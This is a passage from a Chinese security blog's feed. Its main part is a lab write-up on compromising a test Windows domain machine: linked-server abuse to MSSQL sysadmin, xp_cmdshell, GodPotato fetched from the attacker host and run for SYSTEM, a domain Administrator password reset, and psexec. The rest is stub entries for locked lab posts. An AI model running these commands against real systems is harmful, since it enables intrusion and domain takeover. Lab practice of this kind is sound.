&lt;ul&gt;
&lt;li&gt;这些痕迹说明题目设计方向就是“SQL/AD abuse -&amp;gt; 高权限控制”。&lt;/li&gt;
&lt;li&gt;但它们只是辅助线索，不是最终利用点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. MSSQL 利用链&lt;/h2&gt;
&lt;p&gt;工具：&lt;code&gt;invoke_sql_query.ps1&lt;/code&gt;、&lt;code&gt;invoke_xpcmd.ps1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：用已知 SQL 凭据登录数据库，判断权限边界，利用 linked server 完成 &lt;code&gt;sysadmin&lt;/code&gt; 提权，并开启 &lt;code&gt;xp_cmdshell&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;4.1 连接 MSSQL 并确认初始权限&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;select @@servername as server_name, SYSTEM_USER as login_name, USER_NAME() as db_user, IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;) as is_sysadmin&amp;quot;&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前 SQL 登录为 &lt;code&gt;wuwupor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;当前数据库用户最初只是 &lt;code&gt;guest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;初始并不是 &lt;code&gt;sysadmin&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这意味着明文连接串本身还不够，需要继续从 SQL 配置里提权。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.2 枚举 linked server&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;select server_id, name, data_source, is_linked, is_rpc_out_enabled, is_data_access_enabled from sys.servers order by server_id&amp;quot;&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POO_CONFIG -&amp;gt; localhost&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POO_PUBLIC -&amp;gt; localhost&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;两者都开启了 &lt;code&gt;RPC OUT&lt;/code&gt;，并允许数据访问&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这两个 linked server 可以直接作为横向执行入口测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3 验证 linked server 执行身份&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;EXEC (&amp;#39;select @@servername as server_name, SYSTEM_USER as login_name, USER_NAME() as db_user&amp;#39;) AT [POO_PUBLIC]&amp;quot; -ConnectionTimeout 20&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server_name  login_name  db_user
CASTLEVANIA  sa          dbo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;补充观察：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POO_CONFIG&lt;/code&gt; 执行时只是普通低权限上下文。&lt;/li&gt;
&lt;li&gt;真正有价值的是 &lt;code&gt;POO_PUBLIC&lt;/code&gt;，它把当前请求映射到了 &lt;code&gt;sa / dbo&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这里已经找到了从普通 SQL 登录跳到高权限 SQL 上下文的关键跳板。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.4 把 &lt;code&gt;wuwupor&lt;/code&gt; 提成 &lt;code&gt;sysadmin&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;EXEC (&amp;#39;EXEC master..sp_addsrvrolemember &amp;#39;&amp;#39;wuwupor&amp;#39;&amp;#39;, &amp;#39;&amp;#39;sysadmin&amp;#39;&amp;#39;&amp;#39;) AT [POO_PUBLIC]&amp;quot; -ConnectionTimeout 20&lt;/p&gt;
&lt;p&gt;随后复查：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;select SYSTEM_USER as login_name, USER_NAME() as db_user, IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;) as is_sysadmin&amp;quot; -ConnectionTimeout 20&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wuwupor&lt;/code&gt; 变为 &lt;code&gt;dbo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;) = 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;至此，SQL 低权限登录被稳定提到了 &lt;code&gt;sysadmin&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.5 开启 &lt;code&gt;xp_cmdshell&lt;/code&gt; 并验证系统命令上下文&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; .\invoke_sql_query.ps1 -Query &amp;quot;EXEC sp_configure &amp;#39;show advanced options&amp;#39;, 1; RECONFIGURE; EXEC sp_configure &amp;#39;xp_cmdshell&amp;#39;, 1; RECONFIGURE;&amp;quot; -ConnectionTimeout 20
&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;whoami&amp;#39; -ConnectionTimeout 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;p&gt;xmcve\sqlsvc&lt;/p&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL Server 系统命令是以 &lt;code&gt;XMCVE\sqlsvc&lt;/code&gt; 身份执行。&lt;/li&gt;
&lt;li&gt;这和离线取证得到的 SQL 服务账号完全对上。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. 从 &lt;code&gt;sqlsvc&lt;/code&gt; 到 &lt;code&gt;SYSTEM&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;工具：&lt;code&gt;serve_blob_tcp.ps1&lt;/code&gt;、&lt;code&gt;invoke_xpcmd.ps1&lt;/code&gt;、&lt;code&gt;stage_godpotato.ps1&lt;/code&gt;、&lt;code&gt;invoke_godpotato_system.ps1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：从 &lt;code&gt;sqlsvc&lt;/code&gt; 进一步提到本机 &lt;code&gt;SYSTEM&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;为什么选 GodPotato：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;whoami /priv&lt;/code&gt; 显示 &lt;code&gt;sqlsvc&lt;/code&gt; 拥有 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Spooler&lt;/code&gt; 服务未运行，所以没有优先走 PrintSpoofer&lt;/li&gt;
&lt;li&gt;这类环境更适合直接走 GodPotato&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.1 为什么最终没有采用“源码远程编译”&lt;/h3&gt;
&lt;p&gt;尝试过的辅助脚本：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stage_godpotato.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;invoke_godpotato_system.ps1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;尝试思路：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把 GodPotato 源码下发到靶机 &lt;code&gt;%TEMP%\gp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用靶机自带 &lt;code&gt;csc.exe&lt;/code&gt; 编译&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;靶机编译器较老，编译 GodPotato 源码时报错，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;error CS1056: Unexpected character &amp;#39;$&amp;#39;&lt;/p&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“源码下发 + 靶机本地编译”不是最终稳定方案。&lt;/li&gt;
&lt;li&gt;真正稳定的方案是直接下发编译好的二进制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 用内存 HTTP 服务给靶机下发 GodPotato&lt;/h3&gt;
&lt;p&gt;工具：&lt;code&gt;serve_blob_tcp.ps1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：让宿主机只在内存里代理 GodPotato 二进制，避免文件直接落盘在本机被清理。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;powershell -ExecutionPolicy Bypass -File .\serve_blob_tcp.ps1 -Bind 192.168.56.1 -Port 8001&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;宿主机在 &lt;code&gt;http://192.168.56.1:8001/gp.exe&lt;/code&gt; 提供 GodPotato 二进制&lt;/li&gt;
&lt;li&gt;靶机可以通过 Host-Only 网络直接下载&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 通过 &lt;code&gt;xp_cmdshell&lt;/code&gt; 下载二进制到靶机&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;powershell -NoProfile -Command &amp;quot;Invoke-WebRequest -UseBasicParsing &lt;a href=&quot;http://192.168.56.1:8001/gp.exe&quot;&gt;http://192.168.56.1:8001/gp.exe&lt;/a&gt; -OutFile $env:TEMP\svcmon.exe; Get-Item $env:TEMP\svcmon.exe | Select-Object Name,Length | Format-Table -AutoSize&amp;quot;&amp;#39; -ConnectionTimeout 20&lt;/p&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%TEMP%\svcmon.exe&lt;/code&gt; 成功落到靶机&lt;/li&gt;
&lt;li&gt;文件长度为 &lt;code&gt;57344&lt;/code&gt; 字节&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.4 触发 GodPotato 提权并验证 &lt;code&gt;SYSTEM&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;%TEMP%\svcmon.exe -cmd &amp;quot;cmd /c whoami /all &amp;gt; C:\Users\sqlsvc\AppData\Local\Temp\gpwho.txt&amp;quot;&amp;#39; -ConnectionTimeout 20
&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;cmd /c type C:\Users\sqlsvc\AppData\Local\Temp\gpwho.txt&amp;#39; -ConnectionTimeout 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;User Name           SID
=================== ========
nt authority\system S-1-5-18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时 GodPotato 过程日志里还能看到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3896
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sqlsvc&lt;/code&gt; 已经被稳定提升为 &lt;code&gt;SYSTEM&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 从 &lt;code&gt;SYSTEM&lt;/code&gt; 到 &lt;code&gt;Administrator&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;工具：&lt;code&gt;invoke_xpcmd.ps1&lt;/code&gt;、PowerShell WMI&lt;/p&gt;
&lt;p&gt;目的：利用 &lt;code&gt;SYSTEM&lt;/code&gt; 权限直接控制域内 &lt;code&gt;Administrator&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;6.1 用 &lt;code&gt;SYSTEM&lt;/code&gt; 重置域内 &lt;code&gt;Administrator&lt;/code&gt; 密码&lt;/h3&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;%TEMP%\svcmon.exe -cmd &amp;quot;cmd /c net user Administrator Xmcve#2026! /domain &amp;gt; C:\Users\sqlsvc\AppData\Local\Temp\setadmin.txt 2&amp;gt;&amp;amp;1&amp;quot;&amp;#39; -ConnectionTimeout 20
&amp;amp; .\invoke_xpcmd.ps1 -Command &amp;#39;cmd /c type C:\Users\sqlsvc\AppData\Local\Temp\setadmin.txt&amp;#39; -ConnectionTimeout 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;p&gt;The command completed successfully.&lt;/p&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域内 &lt;code&gt;Administrator&lt;/code&gt; 密码已经被成功改为 &lt;code&gt;Xmcve#2026!&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 用 WMI 验证管理员上下文&lt;/h3&gt;
&lt;p&gt;目的：证明这组新凭据真的能以管理员身份在远端创建进程，而不是只停留在“理论上应当可用”。&lt;/p&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$sec = ConvertTo-SecureString &amp;#39;Xmcve#2026!&amp;#39; -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential(&amp;#39;XMCVE\Administrator&amp;#39;, $sec)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList &amp;#39;cmd.exe /c whoami &amp;gt; C:\inetpub\wwwroot\adminshell.txt&amp;#39; -ComputerName 192.168.56.101 -Credential $cred
(Invoke-WebRequest -UseBasicParsing -Uri &amp;#39;http://192.168.56.101/adminshell.txt&amp;#39;).Content
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;p&gt;xmcve\administrator&lt;/p&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这里已经拿到了经过现场验证的 &lt;code&gt;Administrator&lt;/code&gt; 远程命令执行。&lt;/li&gt;
&lt;li&gt;这一步本身就已经足以证明管理员权限被完全接管。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. 最终交互 shell 落地&lt;/h2&gt;
&lt;p&gt;工具：Impacket &lt;code&gt;psexec.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;目的：把已经验证可用的 &lt;code&gt;Administrator&lt;/code&gt; 凭据落成真正交互 shell。&lt;/p&gt;
&lt;p&gt;前提：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已知管理员凭据：&lt;code&gt;XMCVE\Administrator / Xmcve#2026!&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;目标 &lt;code&gt;445/tcp&lt;/code&gt; 开放&lt;/li&gt;
&lt;li&gt;前面已经通过 WMI 验证过该管理员凭据真实有效&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键命令：&lt;/p&gt;
&lt;p&gt;psexec.py XMCVE/Administrator:&amp;#39;Xmcve#2026!&amp;#39;@192.168.56.101 cmd.exe&lt;/p&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这一步就是把“已验证的 Administrator 远程命令执行”进一步落成交互式 shell。&lt;/li&gt;
&lt;li&gt;如果提交时更强调“已现场证明”，那么上一节的 &lt;code&gt;adminshell.txt -&amp;gt; xmcve\administrator&lt;/code&gt; 已经是强证据。&lt;/li&gt;
&lt;li&gt;如果提交时更强调“完整 shell 终点”，则这一条 &lt;code&gt;psexec.py&lt;/code&gt; 就是最后一步。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. 总结与漏洞点&lt;/h2&gt;
&lt;p&gt;整条利用链可以概括为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Web 面本身很薄，但离线分析 Web 根目录发现数据库连接串泄露，直接拿到 MSSQL 明文凭据 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;用该凭据登录 MSSQL 后发现 linked server &lt;code&gt;POO_PUBLIC&lt;/code&gt; 映射到了 &lt;code&gt;sa / dbo&lt;/code&gt;，从而把 &lt;code&gt;wuwupor&lt;/code&gt; 横向提到 &lt;code&gt;sysadmin&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;开启 &lt;code&gt;xp_cmdshell&lt;/code&gt; 后，系统命令以 &lt;code&gt;XMCVE\sqlsvc&lt;/code&gt; 身份执行。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsvc&lt;/code&gt; 拥有 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;，借助 GodPotato 直接提到 &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;以 &lt;code&gt;SYSTEM&lt;/code&gt; 重置域内 &lt;code&gt;Administrator&lt;/code&gt; 密码，再用新密码完成管理员远程命令执行与最终交互 shell 落地。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最终漏洞点有三处：&lt;/p&gt;
&lt;h3&gt;漏洞点 1：Web 根目录泄露 SQL 明文连接凭据&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\inetpub\wwwroot\poo_connection.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;暴露了 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;漏洞点 2：MSSQL linked server &lt;code&gt;POO_PUBLIC&lt;/code&gt; 映射到 &lt;code&gt;sa&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;低权限 SQL 登录可以通过 linked server 直接在远端以上下文 &lt;code&gt;sa / dbo&lt;/code&gt; 执行语句&lt;/li&gt;
&lt;li&gt;最终导致 &lt;code&gt;sysadmin&lt;/code&gt; 提权&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;漏洞点 3：SQL 服务账号 &lt;code&gt;sqlsvc&lt;/code&gt; 拥有 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xp_cmdshell&lt;/code&gt; 落地为 &lt;code&gt;sqlsvc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsvc&lt;/code&gt; 可借 GodPotato 提权为 &lt;code&gt;SYSTEM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SYSTEM&lt;/code&gt; 可直接控制域内 &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至此，完整链路为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;信息搜集
-&amp;gt; 离线取证拿到 SQL 连接串
-&amp;gt; MSSQL 登录
-&amp;gt; linked server 映射到 sa
-&amp;gt; 提升 wuwupor 为 sysadmin
-&amp;gt; 开启 xp_cmdshell
-&amp;gt; 命令执行落到 sqlsvc
-&amp;gt; GodPotato 提到 SYSTEM
-&amp;gt; SYSTEM 重置 Administrator 密码
-&amp;gt; Administrator 远程命令执行
-&amp;gt; psexec.py 落交互 shell
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-unexpected/&quot;&gt;https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-unexpected/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Ascension</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/</guid><description>Pro Labs-Ascension</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/ascension/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Kaiju</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/</guid><description>Pro Labs-Kaiju</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/kaiju/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Unintended</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/</guid><description>Pro Labs-Unintended</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/unintended/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Zephyr</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/</guid><description>Pro Labs-Zephyr</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/zephyr/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 22 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Xen</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/</guid><description>Pro Labs-Xen</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/xen/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-RastaLabs</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/</guid><description>Pro Labs-RastaLabs</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rastalabs/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 17 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Offshore</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/</guid><description>Pro Labs-Offshore</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/offshore/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate></item><item><title>HTB-P.O.O</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/</guid><description>Pro Labs-P.O.O</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/poo/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate></item><item><title>HTB-Dante</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/</guid><description>Pro Labs-Dante</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/dante/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Nessus</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/nessus/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/nessus/</guid><description>Just exploit a well known application without a CVE. Hope you enjoy it.</description><content:encoded>&lt;p&gt;&lt;img 